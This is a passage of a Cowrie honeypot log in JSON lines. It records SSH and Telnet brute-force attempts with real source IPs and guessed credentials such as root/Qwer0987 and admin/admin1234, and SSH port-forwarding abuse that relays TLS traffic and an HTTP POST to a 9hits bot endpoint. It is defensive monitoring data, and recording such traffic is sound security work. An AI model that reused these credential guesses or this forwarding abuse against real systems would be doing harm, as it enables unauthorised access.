5\\x0c\\xdeh\\x99\\xad\\xd1\\x8b\\xbat\\xf9\\x90\\x19c&\\xf9\\xbc\\x8c\\xddB*m\\x19\\xfcI[C\\x12\\xf4P\\x03{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:01.972051Z","src_ip":"123.27.168.40","session":"4de7e401c17f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:02.442064Z","session":"4de7e401c17f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:02.678318Z","src_ip":"123.27.168.40","session":"4de7e401c17f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9b\\xf1P\\x81\\xb3w.<\\x86\\xd2\\xbe\\xb5\\xc8\\x82QA\\x1d\\x8d\\x01\\x12\\x19!\\x80\"\\xd2\\xc3\\xb3\\x83\\xa9t\\x9c\\xed \\xffen\\xb2f\\xe2\\xdfc\\xda\\xdc\\xf5\\xfe\\xd5\\x92\\xac\\x8c]5K}\\xf5X!@\\xc3\\xd3\\xbd\\xa4\\x97\\x99(\\x14\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x88\\t/R\\x83g\\x17%\\x84\\xb6\\xc3\\xb3\\x0c?\\x8f\\x92\\xc9Xz\\x1d)+%Q\\xee\\xdcU_\\x00FKQ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x9b\\xf1P\\x81\\xb3w.<\\x86\\xd2\\xbe\\xb5\\xc8\\x82QA\\x1d\\x8d\\x01\\x12\\x19!\\x80\"\\xd2\\xc3\\xb3\\x83\\xa9t\\x9c\\xed \\xffen\\xb2f\\xe2\\xdfc\\xda\\xdc\\xf5\\xfe\\xd5\\x92\\xac\\x8c]5K}\\xf5X!@\\xc3\\xd3\\xbd\\xa4\\x97\\x99(\\x14\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x88\\t/R\\x83g\\x17%\\x84\\xb6\\xc3\\xb3\\x0c?\\x8f\\x92\\xc9Xz\\x1d)+%Q\\xee\\xdcU_\\x00FKQ\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:02.682100Z","src_ip":"123.27.168.40","session":"4de7e401c17f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:03.185482Z","src_ip":"123.27.168.40","session":"4de7e401c17f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":39319,"dst_ip":"159.203.135.109","dst_port":22,"session":"7012b6e78d29","protocol":"ssh","message":"New connection: 41.90.100.147:39319 (159.203.135.109:22) [session: 7012b6e78d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:22.651609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:22.655607Z","src_ip":"41.90.100.147","session":"7012b6e78d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:22.873167Z","src_ip":"41.90.100.147","session":"7012b6e78d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer0987","message":"login attempt [root/Qwer0987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:23.774186Z","src_ip":"41.90.100.147","session":"7012b6e78d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:24.992761Z","src_ip":"41.90.100.147","session":"7012b6e78d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":54942,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bc2fc25aad9","protocol":"ssh","message":"New connection: 103.176.20.57:54942 (159.203.135.109:22) [session: 5bc2fc25aad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:40.396825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:40.400704Z","src_ip":"103.176.20.57","session":"5bc2fc25aad9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:40.654871Z","src_ip":"103.176.20.57","session":"5bc2fc25aad9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07091986","message":"login attempt [root/07091986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:41.421528Z","src_ip":"103.176.20.57","session":"5bc2fc25aad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:42.677448Z","src_ip":"103.176.20.57","session":"5bc2fc25aad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42100,"dst_ip":"159.203.135.109","dst_port":23,"session":"64850faec6dd","protocol":"telnet","message":"New connection: 128.199.8.54:42100 (159.203.135.109:23) [session: 64850faec6dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:49.447934Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":61599,"dst_ip":"10.17.0.5","dst_port":22,"session":"43e3efeb851f","protocol":"ssh","message":"New connection: 123.27.168.40:61599 (10.17.0.5:22) [session: 43e3efeb851f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:55.673999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:55.677962Z","src_ip":"123.27.168.40","session":"43e3efeb851f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:55.984302Z","src_ip":"123.27.168.40","session":"43e3efeb851f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:57.095827Z","src_ip":"123.27.168.40","session":"43e3efeb851f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:57.495382Z","session":"43e3efeb851f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:57.578474Z","session":"43e3efeb851f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:57.860342Z","src_ip":"123.27.168.40","session":"43e3efeb851f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.66 Mobile/16E227 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QkJGWkhJSkE%2BUkg%2Bc2dKdA%3D%3DSmfqCvJfqhwIP31EQw61XVvv1v7cV5MUG%2FQdu8A53%2BkNK2tgK2ozxDaDCZYgDJwKMAPEbk8sP3JQzyRmy4N2GBAxnIhztfMBDWlmVqLob9%2B8sOfu%2FCmkbOSWfLsipeOHy8E2O9k6D22R0t8k1WbanAxdlnjI5Ubex31txXPxUbISigBS%2F8JUArbeV0WiT5OGynofQ4fcsnNRogKDnvUvu88upLFaS9ARA59QlDZ57KNLpDc06epYbQQXQZ2MvjIXr377p0ael9qmZS%2F%2By%2FE%2B4x3afLQ8cDMlOd6AMWw6t33ZQXGSqzkx1sg0lG8JkmVGNwhULPv%2BSGzI7afNJ5Tyq5VIlf1AqbTEBbN1bHsuzWw24rGTWGYDulnMZQQ41qWf3hMGPTagSJ5P0PMcryUyyrRBJ70o14a7DlQE9S5Tf3mdtmo1ywYFKKEYlGiB4fHOjx8%2B1FncNy1OynrhhDtxV%2B9n3Bvw82O%2BalZ3xqRVNtN1zftk1hEmHld1uTJm4RdtLOqx0Bq1rmFG0WNdgCd%2FDW%2B1UwUQJnQ%2FnYDG9XRYQRIJyEN8DBK8L1O4MaBqa%2FpL%2BeRDc0iocOtINSSlFrtzoe%2FClRCGUpbrOK5fMRpXIOt3WRC%2B3DUiRdTqEKrwwCFWf8U9W%2Fao%2F5F3hQOJ9%2FnoUb5344r%2BINr8Rl4XbLAS21WFAN5fpbkNUJxDiDvUleZPc2JIjdEZniE96A1nmPuiywDcfjkAlGm7dNPOwoFHIVe9dRgjaYv5nK5hLBunc7vqwQACBcqexLXlpHWkFDJpxkBfW7Q1AvSRVAGrspLvAYMUT8UHSLkU1VKYC%2FQS%2BllA7OfLK4PKOMONlpzRbx%2FUZ4knrZ2gdxctdZmPali7Uei0pxQIPJa4mdpB85oHnDH6DQj0StjPemrLwtl7ZnR2mT7GcVeYcuSUKPvXJJCvZpPiNLz9HNdGakxH1lhnw0LbD%2Fr5l%2BOPOGSHUO36nVsJ2uySmHKT5UMehikpPqfN0fwaq0g1oyUciJOV8lSr2adtFsh0WP9kIrrdfQGaoNOVsk742MGrdJ14rfbMuyx8DBM%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/87.0.4280.66 Mobile/16E227 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=QkJGWkhJSkE%2BUkg%2Bc2dKdA%3D%3DSmfqCvJfqhwIP31EQw61XVvv1v7cV5MUG%2FQdu8A53%2BkNK2tgK2ozxDaDCZYgDJwKMAPEbk8sP3JQzyRmy4N2GBAxnIhztfMBDWlmVqLob9%2B8sOfu%2FCmkbOSWfLsipeOHy8E2O9k6D22R0t8k1WbanAxdlnjI5Ubex31txXPxUbISigBS%2F8JUArbeV0WiT5OGynofQ4fcsnNRogKDnvUvu88upLFaS9ARA59QlDZ57KNLpDc06epYbQQXQZ2MvjIXr377p0ael9qmZS%2F%2By%2FE%2B4x3afLQ8cDMlOd6AMWw6t33ZQXGSqzkx1sg0lG8JkmVGNwhULPv%2BSGzI7afNJ5Tyq5VIlf1AqbTEBbN1bHsuzWw24rGTWGYDulnMZQQ41qWf3hMGPTagSJ5P0PMcryUyyrRBJ70o14a7DlQE9S5Tf3mdtmo1ywYFKKEYlGiB4fHOjx8%2B1FncNy1OynrhhDtxV%2B9n3Bvw82O%2BalZ3xqRVNtN1zftk1hEmHld1uTJm4RdtLOqx0Bq1rmFG0WNdgCd%2FDW%2B1UwUQJnQ%2FnYDG9XRYQRIJyEN8DBK8L1O4MaBqa%2FpL%2BeRDc0iocOtINSSlFrtzoe%2FClRCGUpbrOK5fMRpXIOt3WRC%2B3DUiRdTqEKrwwCFWf8U9W%2Fao%2F5F3hQOJ9%2FnoUb5344r%2BINr8Rl4XbLAS21WFAN5fpbkNUJxDiDvUleZPc2JIjdEZniE96A1nmPuiywDcfjkAlGm7dNPOwoFHIVe9dRgjaYv5nK5hLBunc7vqwQACBcqexLXlpHWkFDJpxkBfW7Q1AvSRVAGrspLvAYMUT8UHSLkU1VKYC%2FQS%2BllA7OfLK4PKOMONlpzRbx%2FUZ4knrZ2gdxctdZmPali7Uei0pxQIPJa4mdpB85oHnDH6DQj0StjPemrLwtl7ZnR2mT7GcVeYcuSUKPvXJJCvZpPiNLz9HNdGakxH1lhnw0LbD%2Fr5l%2BOPOGSHUO36nVsJ2uySmHKT5UMehikpPqfN0fwaq0g1oyUciJOV8lSr2adtFsh0WP9kIrrdfQGaoNOVsk742MGrdJ14rfbMuyx8DBM%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:57.865283Z","src_ip":"123.27.168.40","session":"43e3efeb851f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:09:58.095204Z","src_ip":"123.27.168.40","session":"43e3efeb851f","protocol":"ssh"}
